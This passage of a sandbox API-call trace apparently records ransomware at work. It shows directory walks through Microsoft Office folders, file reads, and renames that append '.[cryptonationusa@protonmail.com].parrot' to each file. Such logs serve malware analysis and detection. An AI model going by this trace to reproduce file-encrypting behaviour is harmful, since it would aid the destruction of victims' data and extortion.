lpNewFilePointer=0x0) returned 1 [0167.302] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0167.302] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0167.326] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\OFFICE10.MMW" (normalized: "c:\\program files\\microsoft office\\media\\office14\\office10.mmw"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\OFFICE10.MMW.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\office14\\office10.mmw.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0167.378] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\*", fInfoLevelId=0x0, lpFindFileData=0x18ef8c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ef8c) returned 0x600490 [0167.378] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeef015d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xefca9500, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xefca9500, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0167.379] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeef015d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xed66d3a0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xed66d3a0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0167.379] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51767f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xedf5a620, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xedf5a620, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AUTOSHAP", cAlternateFileName="")) returned 1 [0167.379] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5178e0b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xef4ecd80, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xef4ecd80, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BULLETS", cAlternateFileName="")) returned 1 [0167.379] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5178e0b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xefbc4cc0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xefbc4cc0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LINES", cAlternateFileName="")) returned 1 [0167.379] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf3475600, ftCreationTime.dwHighDateTime=0x1ca9120, ftLastAccessTime.dwLowDateTime=0x596c1850, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf3475600, ftLastWriteTime.dwHighDateTime=0x1ca9120, nFileSizeHigh=0x0, nFileSizeLow=0x3da0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OFFICE10.DLL", cAlternateFileName="")) returned 1 [0167.379] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x60d5d8 [0167.380] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\*", fInfoLevelId=0x0, lpFindFileData=0x18f27c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f27c) returned 0x600450 [0167.380] FindNextFileW (in: hFindFile=0x600450, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec79e70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeef015d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0167.380] FindNextFileW (in: hFindFile=0x600450, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec79e70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xed5aecc0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xed5aecc0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CAGCAT10", cAlternateFileName="")) returned 1 [0167.380] FindNextFileW (in: hFindFile=0x600450, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeef015d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xefca9500, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xefca9500, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OFFICE14", cAlternateFileName="")) returned 1 [0167.380] FindNextFileW (in: hFindFile=0x600450, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeef015d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xefca9500, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xefca9500, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OFFICE14", cAlternateFileName="")) returned 0 [0167.380] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\*", fInfoLevelId=0x0, lpFindFileData=0x18f27c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f27c) returned 0x600450 [0167.380] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0167.380] FindNextFileW (in: hFindFile=0x600450, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe5db9aa0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe5db9aa0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0167.397] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0167.397] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0167.397] FindNextFileW (in: hFindFile=0x600450, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xdf0acac0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xdf0acac0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0167.397] lstrcmpW (lpString1="1033", lpString2=".") returned 1 [0167.397] lstrcmpW (lpString1="1033", lpString2="..") returned 1 [0167.397] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x60) returned 0x60b9c0 [0167.397] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\*", fInfoLevelId=0x0, lpFindFileData=0x18ef8c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ef8c) returned 0x600490 [0167.398] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0167.398] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xdf0acac0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xdf0acac0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0167.413] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0167.413] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0167.413] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa4e33900, ftCreationTime.dwHighDateTime=0x1cab7ec, ftLastAccessTime.dwLowDateTime=0x14e98550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa4e33900, ftLastWriteTime.dwHighDateTime=0x1cab7ec, nFileSizeHigh=0x0, nFileSizeLow=0x53b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACCDDSUI.DLL", cAlternateFileName="")) returned 1 [0167.413] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x60d5d8 [0167.414] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0167.414] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0167.415] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.416] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x79000, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x79000, lpOverlapped=0x0) returned 1 [0167.420] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0167.432] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.432] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0167.432] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0167.456] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCESS12.ACC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\access12.acc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCESS12.ACC.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\access12.acc.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0167.473] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0167.473] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0167.474] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.474] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x53de0, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x53de0, lpOverlapped=0x0) returned 1 [0167.478] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0167.489] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.489] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0167.489] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0167.552] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACTIP10.HLP" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\actip10.hlp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACTIP10.HLP.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\actip10.hlp.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0167.560] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0167.561] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0167.606] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.607] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x10f78, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x10f78, lpOverlapped=0x0) returned 1 [0167.628] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0167.631] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.631] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0167.631] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0167.635] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\AEC.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\aec.vsl"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\AEC.VSL.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\aec.vsl.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0167.641] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0167.641] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0167.642] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.642] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xa388, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xa388, lpOverlapped=0x0) returned 1 [0167.643] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0167.645] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.646] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0167.646] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0167.648] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\AECUTILS.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\aecutils.vsl"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\AECUTILS.VSL.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\aecutils.vsl.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0167.653] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0167.654] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0167.655] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.655] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x69e, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x69e, lpOverlapped=0x0) returned 1 [0167.655] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0167.655] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.655] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0167.655] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0167.656] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ASSET.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\asset.vrd"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ASSET.VRD.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\asset.vrd.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0167.662] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0167.662] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0167.663] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.663] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x10d, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x10d, lpOverlapped=0x0) returned 1 [0167.663] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0167.663] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.663] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0167.663] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0167.664] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BASIC.HTM" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\basic.htm"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BASIC.HTM.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\basic.htm.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0167.714] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Bibliography\\*", fInfoLevelId=0x0, lpFindFileData=0x18ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec9c) returned 0x6004d0 [0167.716] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0167.716] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e1bb530, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e1bb530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e1bb530, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0167.717] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0167.717] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0167.717] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b715800, ftCreationTime.dwHighDateTime=0x1c8bfc3, ftLastAccessTime.dwLowDateTime=0x1e1bb530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1b715800, ftLastWriteTime.dwHighDateTime=0x1c8bfc3, nFileSizeHigh=0x0, nFileSizeLow=0x165e2, dwReserved0=0x0, dwReserved1=0x0, cFileName="BIBFORM.XML", cAlternateFileName="")) returned 1 [0167.717] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x60d5d8 [0167.721] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0167.721] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0167.745] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.746] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x165e2, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x165e2, lpOverlapped=0x0) returned 1 [0167.765] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0167.767] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.767] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0167.767] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0167.768] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Bibliography\\BIBFORM.XML" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\bibliography\\bibform.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Bibliography\\BIBFORM.XML.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\bibliography\\bibform.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0167.777] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Bibliography\\*", fInfoLevelId=0x0, lpFindFileData=0x18ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec9c) returned 0x6004d0 [0167.777] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e1bb530, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xf0061760, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xf0061760, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0167.778] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b715800, ftCreationTime.dwHighDateTime=0x1c8bfc3, ftLastAccessTime.dwLowDateTime=0x1e1bb530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf0061760, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x16708, dwReserved0=0x0, dwReserved1=0x0, cFileName="BIBFORM.XML.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="BIBFOR~1.PAR")) returned 1 [0167.778] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x68de88 [0167.779] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0167.779] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0167.787] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.787] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xb390, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xb390, lpOverlapped=0x0) returned 1 [0167.800] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0167.802] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, 